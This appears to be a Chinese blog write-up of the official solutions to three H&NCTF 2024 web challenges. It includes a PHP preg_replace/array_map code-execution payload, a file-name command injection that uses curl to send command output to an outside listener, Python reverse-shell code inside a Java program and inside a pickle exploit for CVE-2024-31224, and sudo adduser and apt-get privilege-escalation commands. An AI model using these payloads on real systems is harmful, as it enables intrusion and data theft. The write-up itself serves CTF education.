H&NCTF 2024 WEB 官方三题题解

发布于 2024-05-14  986 次阅读


Please_RCE_Me

/这题挺简单的妥妥签到题/

打开题目,得到提示GET传moran=flag

image-20231029203501472

image-20231029203532687

可以看到源码

分析源码,需要利用的函数是preg_replace(),使用了/e修饰符,当第一个参数的字符串在第三个参数中检测到时,会将第二个参数作为php代码执行,且使用了/i的修饰符,大小写不敏感

image-20231029203952234

需要绕过正则匹配

image-20231029220207510

能直接用的命令执行函数基本上都被过滤了,限制了flag字符串长度,并且过滤了preg_replace()中的please_give_me_flag,但是没有使用/i大小写不敏感,所以可以用大写绕过

task参数传入的为我们需要执行的代码,flag参数传入含有please_give_me_flag的字符串

查阅可以进行RCE的函数,发现还有一个array_map()可以使用

array_map()需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数,例如

&arr = array('phpinfo()');
array_map('assert',&arr);

就可以执行phpinfo()

由于task参数被限制,可以添加$_POST['a']来执行任意代码

payload:task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()

image-20231029205429545

执行成功,开始找flag,用system()

task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls

image-20231029205552425

image-20231029205605004

image-20240501152539225

得到flag

GoJava

/原义是要看源码找路由的,忘了可以直接弹(几个小时的水题QAQ)/

是一个.java文件在线编译器

image-20240501023137170

可以先扫目录

D:\web\tools\dirsearch>python dirsearch.py -u http://hnctf.imxbt.cn:26624/

  _|. _ _  _  _  _ _|_    v0.4.2.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11305

Output File: D:\web\tools\dirsearch\reports\hnctf.imxbt.cn_26624\__24-05-01_02-24-52.txt

Target: http://hnctf.imxbt.cn:26624/

[02:24:52] Starting:
[02:24:53] 301 -   46B  - /%2e%2e//google.com  ->  /google.com
[02:24:53] 301 -    0B  - /js  ->  js/
[02:24:53] 301 -   46B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd  ->  /etc/passwd
[02:25:00] 301 -   87B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[02:25:05] 301 -    0B  - /adm/index.html  ->  ./
[02:25:06] 301 -    0B  - /admin/index.html  ->  ./
[02:25:07] 301 -    0B  - /admin2/index.html  ->  ./
[02:25:08] 301 -    0B  - /admin_area/index.html  ->  ./
[02:25:10] 301 -    0B  - /adminarea/index.html  ->  ./
[02:25:11] 301 -    0B  - /admincp/index.html  ->  ./
[02:25:12] 301 -    0B  - /administrator/index.html  ->  ./
[02:25:13] 301 -    0B  - /api/index.html  ->  ./
[02:25:13] 301 -    0B  - /api/swagger/static/index.html  ->  ./
[02:25:13] 301 -    0B  - /api/swagger/index.html  ->  ./
[02:25:15] 301 -    0B  - /bb-admin/index.html  ->  ./
[02:25:17] 301 -   46B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd  ->  /etc/passwd
[02:25:17] 301 -    0B  - /cgi-bin/index.html  ->  ./
[02:25:20] 301 -    0B  - /core/latest/swagger-ui/index.html  ->  ./
[02:25:20] 301 -    0B  - /css  ->  css/
[02:25:21] 301 -    0B  - /demo/ejb/index.html  ->  ./
[02:25:22] 301 -    0B  - /doc/html/index.html  ->  ./
[02:25:22] 301 -    0B  - /docs/html/admin/index.html  ->  ./
[02:25:22] 301 -    0B  - /docs/html/index.html  ->  ./
[02:25:22] 301 -    0B  - /druid/index.html  ->  ./
[02:25:23] 301 -   74B  - /engine/classes/swfupload//swfupload.swf  ->  /engine/classes/swfupload/swfupload.swf
[02:25:23] 301 -   77B  - /engine/classes/swfupload//swfupload_f9.swf  ->  /engine/classes/swfupload/swfupload_f9.swf
[02:25:23] 301 -    0B  - /estore/index.html  ->  ./
[02:25:24] 301 -    0B  - /examples/jsp/index.html  ->  ./
[02:25:24] 301 -    0B  - /examples/servlets/index.html  ->  ./
[02:25:24] 301 -   62B  - /extjs/resources//charts.swf  ->  /extjs/resources/charts.swf
[02:25:27] 301 -   72B  - /html/js/misc/swfupload//swfupload.swf  ->  /html/js/misc/swfupload/swfupload.swf
[02:25:28] 301 -    0B  - /index.html  ->  ./
[02:25:29] 200 -  145B  - /js/
[02:25:31] 301 -    0B  - /logon/LogonPoint/index.html  ->  ./
[02:25:32] 301 -    0B  - /manual/index.html  ->  ./
[02:25:33] 301 -    0B  - /mifs/user/index.html  ->  ./
[02:25:34] 301 -    0B  - /modelsearch/index.html  ->  ./
[02:25:36] 301 -    0B  - /panel-administracion/index.html  ->  ./
[02:25:39] 301 -    0B  - /phpmyadmin/doc/html/index.html  ->  ./
[02:25:39] 301 -    0B  - /phpmyadmin/docs/html/index.html  ->  ./
[02:25:43] 200 -   77B  - /robots.txt
[02:25:45] 301 -    0B  - /siteadmin/index.html  ->  ./
[02:25:48] 301 -    0B  - /swagger/index.html  ->  ./
[02:25:49] 301 -    0B  - /templates/index.html  ->  ./
[02:25:49] 301 -    0B  - /tiny_mce/plugins/imagemanager/pages/im/index.html  ->  ./
[02:25:51] 301 -    0B  - /upload  ->  upload/
[02:25:51] 403 -   10B  - /upload/1.php
[02:25:51] 403 -   10B  - /upload/
[02:25:51] 403 -   10B  - /upload/test.php
[02:25:51] 403 -   10B  - /upload/b_user.csv
[02:25:51] 403 -   10B  - /upload/b_user.xls
[02:25:51] 403 -   10B  - /upload/loginIxje.php
[02:25:51] 403 -   10B  - /upload/upload.php
[02:25:51] 403 -   10B  - /upload/2.php
[02:25:51] 403 -   10B  - /upload/test.txt
[02:25:53] 301 -    0B  - /vpn/index.html  ->  ./
[02:25:53] 301 -    0B  - /webadmin/index.html  ->  ./
[02:25:54] 301 -    0B  - /webdav/index.html  ->  ./

Task Completed

可以看到robots.txt

User-agent: *
Disallow: ./main-old.zip

User-agent: *
Disallow: ./main.go

两个文件,main.go403main-old.zip可以下载,是主函数的旧版

image-20240501022756959

package main

import (
	"io"
	"log"
	"mime/multipart"
	"net/http"
	"os"
	"strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
	// 设置路由
	http.HandleFunc("/gojava", compileJava)

	// 设置静态文件服务器
	fs := http.FileServer(http.Dir("."))
	http.Handle("/", fs)

	// 启动服务器
	log.Println("Server started on :80")
	log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
	for _, char := range filename {
		for _, blackChar := range blacklistChars {
			if char == blackChar {
				return true
			}
		}
	}
	return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
	// 检查请求方法是否为POST
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 解析multipart/form-data格式的表单数据
	err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
	if err != nil {
		http.Error(w, "Error parsing form", http.StatusInternalServerError)
		return
	}

	// 从表单中获取上传的文件
	file, handler, err := r.FormFile("file")
	if err != nil {
		http.Error(w, "Error retrieving file", http.StatusBadRequest)
		return
	}
	defer file.Close()

	if isFilenameBlacklisted(handler.Filename) {
		http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
		return
	}
	if !strings.HasSuffix(handler.Filename, ".java") {
		http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
		return
	}
	err = saveFile(file, "./upload/"+handler.Filename)
	if err != nil {
		http.Error(w, "Error saving file", http.StatusInternalServerError)
		return
	}
}

func saveFile(file multipart.File, filePath string) error {
	// 创建目标文件
	f, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer f.Close()

	// 将上传的文件内容复制到目标文件中
	_, err = io.Copy(f, file)
	if err != nil {
		return err
	}

	return nil
}

可以看到对上传的文件名是有过滤的,我们可以尝试用文件名进行RCE

POST /gojava HTTP/1.1
Host: hnctf.imxbt.cn:29311
Content-Length: 1025
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryujTPRyD0Ol0dP4y8
Origin: http://hnctf.imxbt.cn:29311
Referer: http://hnctf.imxbt.cn:29311/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=xxx
Connection: close

------WebKitFormBoundaryujTPRyD0Ol0dP4y8
Content-Disposition: form-data; name="file"; filename="a.java||curl -X POST -d a=`whoami` [IP]:4444||.java"
Content-Type: application/octet-stream

1
------WebKitFormBoundaryujTPRyD0Ol0dP4y8--

在服务器上监听4444,发包

image-20240501024421602

成功RCE,因为过滤了很多东西,没办法直接弹shell,再看看文件夹有什么

a.java||curl -X POST -d a=`ls|base64 -w 0` [IP]:4444||.java
Y3NzCmZpbmFsCmdvLm1vZApnb2phdmEKaW5kZXguaHRtbApqcwptYWluLW9sZC56aXAKbWFpbi5nbwpyb2JvdHMudHh0CnVwbG9hZAo=

css
final
go.mod
gojava
index.html
js
main-old.zip
main.go
robots.txt
upload

拿一下main.go

a.java||curl -X POST -d a=`base64 -w 0 main.go` [IP]:4444||.java
package main

import (
	"fmt"
	"io"
	"log"
	"math/rand"
	"mime/multipart"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
	"time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
	// 设置路由
	http.HandleFunc("/gojava", compileJava)
	http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

	// 设置静态文件服务器
	fs := http.FileServer(http.Dir("."))
	http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		// 检查请求的路径是否需要被禁止访问
		if isForbiddenPath(r.URL.Path) {
			http.Error(w, "Forbidden", http.StatusForbidden)
			return
		}

		// 否则,继续处理其他请求
		fs.ServeHTTP(w, r)
	}))

	// 启动服务器
	log.Println("Server started on :80")
	log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
	// 检查路径是否为某个特定文件或文件夹的路径
	// 这里可以根据你的需求进行设置
	forbiddenPaths := []string{
		"/main.go",
		"/upload/",
	}

	// 检查请求的路径是否与禁止访问的路径匹配
	for _, forbiddenPath := range forbiddenPaths {
		if strings.HasPrefix(path, forbiddenPath) {
			return true
		}
	}

	return false
}

func isFilenameBlacklisted(filename string) bool {
	for _, char := range filename {
		for _, blackChar := range blacklistChars {
			if char == blackChar {
				return true
			}
		}
	}
	return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
	// 检查请求方法是否为POST
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 解析multipart/form-data格式的表单数据
	err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
	if err != nil {
		http.Error(w, "Error parsing form", http.StatusInternalServerError)
		return
	}

	// 从表单中获取上传的文件
	file, handler, err := r.FormFile("file")
	if err != nil {
		http.Error(w, "Error retrieving file", http.StatusBadRequest)
		return
	}
	defer file.Close()

	if isFilenameBlacklisted(handler.Filename) {
		http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
		return
	}

	// 检查文件扩展名是否为.java
	if !strings.HasSuffix(handler.Filename, ".java") {
		http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
		return
	}

	// 保存上传的文件至./upload文件夹
	err = saveFile(file, "./upload/"+handler.Filename)
	if err != nil {
		http.Error(w, "Error saving file", http.StatusInternalServerError)
		return
	}

	// 生成随机文件名
	rand.Seed(time.Now().UnixNano())
	randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

	// 编译Java文件
	cmd := "javac ./upload/" + handler.Filename
	compileCmd := exec.Command("sh", "-c", cmd)
	//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
	compileOutput, err := compileCmd.CombinedOutput()
	if err != nil {
		http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
		return
	}

	// 将编译后的.class文件打包成.jar文件
	fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
	jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
	jarOutput, err := jarCmd.CombinedOutput()
	if err != nil {
		http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
		return
	}

	// 返回编译后的.jar文件的下载链接
	fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
	// 创建目标文件
	f, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer f.Close()

	// 将上传的文件内容复制到目标文件中
	_, err = io.Copy(f, file)
	if err != nil {
		return err
	}

	return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
	jarFile := "./final/" + r.URL.Query().Get("jar")

	// 检查是否存在指定的.jar文件
	if !strings.HasSuffix(jarFile, ".jar") {
		http.Error(w, "Invalid jar file format", http.StatusBadRequest)
		return
	}

	if _, err := os.Stat(jarFile); os.IsNotExist(err) {
		http.Error(w, "Jar file not found", http.StatusNotFound)
		return
	}

	// 执行.jar文件
	cmd := exec.Command("java", "-jar", jarFile)
	output, err := cmd.CombinedOutput()
	if err != nil {
		http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
		return
	}

	// 输出结果
	w.Header().Set("Content-Type", "text/plain")
	w.Write(output)
}

可以发现有一个接口testExecYourJarOnServer用于在服务器上运行jar文件,可以构造java代码

# ExecuteSystemCommand.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class ExecuteSystemCommand {
    public static void main(String[] args) {
        String[] cmd = { "python3", "-c",
                "import os,pty,socket;s=socket.socket();s.connect((\"[IP]\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")" };

        ProcessBuilder processBuilder = new ProcessBuilder(cmd);

        try {
            Process process = processBuilder.start();

            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }

            int exitCode = process.waitFor();
            System.out.println("Exited with code: " + exitCode);
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

image-20240501030228447

访问接口

http://hnctf.imxbt.cn:27984/testExecYourJarOnServer?jar=429e7d2610c50acb.jar

image-20240501030333714

成功拿到shell

在根目录可以找到/memorandum文件,翻译是备忘录

image-20240501030425214

image-20240501030450230

猜测是密码,尝试登录

image-20240501030711131

登录成功,拿flag

image-20240501030753814

GPTS

/信息搜集呀/

一个开源的项目,有CVE可以直接用

CVE-2024-31224

首先创建Cookie

image-20240427020253225

可以看到Cookie

image-20240428000734967

shell

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
# base64
cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI3LjAuMC4xIiw0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJiYXNoIikn

exp:

import base64

opcode=b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI3LjAuMC4xIiw0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJiYXNoIikn}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)

复制运行后的字符串,修改Cookie

image-20240428000848222

然后重新点击加载已保存按钮

image-20240428000955118

image-20240428001040175

成功拿到shell

flag不在根目录下,找一下ctfgame用户能读的文件

find / -type f -user ctfgame -readable 2>/dev/null

image-20240428001238096

有一封邮件,查看

image-20240428001334121

有一个用户和密码,尝试登录

image-20240428001605481

成功登录,有密码可以试试sudo -l

image-20240428001841668

发现我们可以创建root组用户,创建一个新用户

sudo adduser test -gid=0

image-20240428002628664

登录test用户

image-20240428002757089

root组用户还是看不了/root的,看看/etc/souders

image-20240428002947716

发现kobe用户可以使用apt-get

创建kobe用户

image-20240428003112799

apt-get提权

https://www.4hou.com/posts/j5EB

sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"

image-20240428003307130

成功提权

image-20240428012054906

赛题Docker

最后挂三个题目环境Docker

Please_Rce_Me
GoJava
GPTS